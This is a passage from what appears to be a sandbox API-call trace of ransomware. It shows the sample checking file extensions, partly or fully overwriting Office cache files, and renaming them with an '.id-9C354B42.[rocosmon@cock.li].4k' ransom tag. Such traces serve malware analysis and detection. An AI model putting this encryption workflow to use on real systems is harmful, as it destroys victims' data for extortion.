	[0101.296] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0101.296] lstrlenW (lpString=".ppt") returned 4
	[0101.296] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0101.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0101.296] lstrlenW (lpString=".zip") returned 4
	[0101.296] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0101.296] lstrlenW (lpString=".rar") returned 4
	[0101.296] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0101.296] lstrlenW (lpString=".bz2") returned 4
	[0101.296] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0101.296] lstrlenW (lpString=".7z") returned 3
	[0101.296] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0101.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0101.296] lstrlenW (lpString=".dbf") returned 4
	[0101.296] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0101.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0101.296] lstrlenW (lpString=".1cd") returned 4
	[0101.296] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0101.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0101.296] lstrlenW (lpString=".jpg") returned 4
	[0101.297] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0101.297] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0101.297] lstrlenW (lpString="AccessMUI.msi") returned 13
	[0101.297] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0101.525] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=2517504) returned 1
	[0101.525] CloseHandle (hObject=0x184) returned 1
	[0101.525] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020
	[0101.526] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.526] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0101.526] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0101.526] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0x0) returned 1
	[0101.527] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.527] ReadFile (in: hFile=0x184, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0101.670] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.670] ReadFile (in: hFile=0x184, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0101.765] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.765] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.765] ReadFile (in: hFile=0x184, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0101.823] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.824] WriteFile (in: hFile=0x184, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x35bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfcb0*=0xc0106, lpOverlapped=0x0) returned 1
	[0101.841] SetEndOfFile (hFile=0x184) returned 1
	[0101.841] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f402b0
	[0101.944] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0101.944] WriteFile (in: hFile=0x184, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0101.946] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0101.946] WriteFile (in: hFile=0x184, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0101.951] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0101.951] WriteFile (in: hFile=0x184, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0101.954] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f402b0 | out: hHeap=0x4a0000) returned 1
	[0101.957] CloseHandle (hObject=0x184) returned 1
	[0101.957] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0101.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0101.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0101.957] lstrlenW (lpString=".doc") returned 4
	[0101.957] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0101.957] lstrlenW (lpString=".docx") returned 5
	[0101.957] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0101.958] lstrlenW (lpString=".pdf") returned 4
	[0101.958] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0101.958] lstrlenW (lpString=".xls") returned 4
	[0101.958] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0101.958] lstrlenW (lpString=".xlsx") returned 5
	[0101.958] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0101.958] lstrlenW (lpString=".ppt") returned 4
	[0101.958] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0101.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0101.958] lstrlenW (lpString=".zip") returned 4
	[0101.958] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0101.958] lstrlenW (lpString=".rar") returned 4
	[0101.958] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0101.958] lstrlenW (lpString=".bz2") returned 4
	[0101.958] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0101.958] lstrlenW (lpString=".7z") returned 3
	[0101.958] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0101.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0101.958] lstrlenW (lpString=".dbf") returned 4
	[0101.958] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0101.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0101.958] lstrlenW (lpString=".1cd") returned 4
	[0101.958] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0101.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0101.958] lstrlenW (lpString=".jpg") returned 4
	[0101.958] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0101.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0101.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0101.973] lstrlenW (lpString=".doc") returned 4
	[0101.973] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0101.973] lstrlenW (lpString=".docx") returned 5
	[0101.973] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0101.973] lstrlenW (lpString=".pdf") returned 4
	[0101.973] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0101.973] lstrlenW (lpString=".xls") returned 4
	[0101.973] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0101.973] lstrlenW (lpString=".xlsx") returned 5
	[0101.973] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0101.973] lstrlenW (lpString=".ppt") returned 4
	[0101.973] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0101.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0101.973] lstrlenW (lpString=".zip") returned 4
	[0101.973] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0101.973] lstrlenW (lpString=".rar") returned 4
	[0101.973] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0101.973] lstrlenW (lpString=".bz2") returned 4
	[0101.973] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0101.973] lstrlenW (lpString=".7z") returned 3
	[0101.973] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0101.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0101.973] lstrlenW (lpString=".dbf") returned 4
	[0101.973] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0101.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0101.973] lstrlenW (lpString=".1cd") returned 4
	[0101.973] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0101.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0101.974] lstrlenW (lpString=".jpg") returned 4
	[0101.974] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0101.974] lstrcmpiW (lpString1=".xrm-ms", lpString2=".4k") returned 1
	[0101.974] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24
	[0101.974] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0101.974] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=715834) returned 1
	[0101.974] CloseHandle (hObject=0x184) returned 1
	[0101.974] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020
	[0101.974] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.974] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0101.974] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.974] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.974] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0101.975] GetLastError () returned 0x0
	[0101.975] ReadFile (in: hFile=0x184, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0xaec3a, lpOverlapped=0x0) returned 1
	[0102.294] WriteFile (in: hFile=0x210, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0xaec40, lpOverlapped=0x0) returned 1
	[0102.382] ReadFile (in: hFile=0x184, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.382] WriteFile (in: hFile=0x210, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0x104, lpOverlapped=0x0) returned 1
	[0102.382] SetEndOfFile (hFile=0x210) returned 1
	[0102.382] CloseHandle (hObject=0x210) returned 1
	[0102.382] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.382] SetEndOfFile (hFile=0x184) returned 1
	[0102.388] CloseHandle (hObject=0x184) returned 1
	[0102.388] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0102.388] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1
	[0102.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0102.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0102.388] lstrlenW (lpString=".doc") returned 4
	[0102.388] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0102.388] lstrlenW (lpString=".docx") returned 5
	[0102.388] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0102.388] lstrlenW (lpString=".pdf") returned 4
	[0102.388] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0102.388] lstrlenW (lpString=".xls") returned 4
	[0102.388] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0102.388] lstrlenW (lpString=".xlsx") returned 5
	[0102.388] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0102.388] lstrlenW (lpString=".ppt") returned 4
	[0102.389] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0102.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0102.389] lstrlenW (lpString=".zip") returned 4
	[0102.389] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0102.389] lstrlenW (lpString=".rar") returned 4
	[0102.389] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0102.389] lstrlenW (lpString=".bz2") returned 4
	[0102.389] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0102.389] lstrlenW (lpString=".7z") returned 3
	[0102.389] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0102.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0102.389] lstrlenW (lpString=".dbf") returned 4
	[0102.389] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0102.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0102.389] lstrlenW (lpString=".1cd") returned 4
	[0102.389] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0102.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0102.389] lstrlenW (lpString=".jpg") returned 4
	[0102.389] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0102.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0102.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0102.389] lstrlenW (lpString=".doc") returned 4
	[0102.389] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0102.389] lstrlenW (lpString=".docx") returned 5
	[0102.389] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0102.389] lstrlenW (lpString=".pdf") returned 4
	[0102.389] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0102.389] lstrlenW (lpString=".xls") returned 4
	[0102.389] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0102.389] lstrlenW (lpString=".xlsx") returned 5
	[0102.389] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0102.389] lstrlenW (lpString=".ppt") returned 4
	[0102.389] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0102.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0102.389] lstrlenW (lpString=".zip") returned 4
	[0102.390] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0102.390] lstrlenW (lpString=".rar") returned 4
	[0102.390] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0102.390] lstrlenW (lpString=".bz2") returned 4
	[0102.390] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0102.390] lstrlenW (lpString=".7z") returned 3
	[0102.390] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0102.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0102.390] lstrlenW (lpString=".dbf") returned 4
	[0102.390] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0102.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0102.390] lstrlenW (lpString=".1cd") returned 4
	[0102.390] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0102.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0102.390] lstrlenW (lpString=".jpg") returned 4
	[0102.390] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0102.390] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0102.390] lstrlenW (lpString="ProPrWW.cab") returned 11
	[0102.390] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0102.450] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=177720283) returned 1
	[0102.450] CloseHandle (hObject=0x1e8) returned 1
	[0102.450] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020
	[0102.451] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.451] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0102.451] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0102.451] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0x0) returned 1
	[0102.451] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0102.451] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0102.842] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0102.842] ReadFile (in: hFile=0x1e8, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0104.781] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.781] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0104.781] ReadFile (in: hFile=0x1e8, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0104.935] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
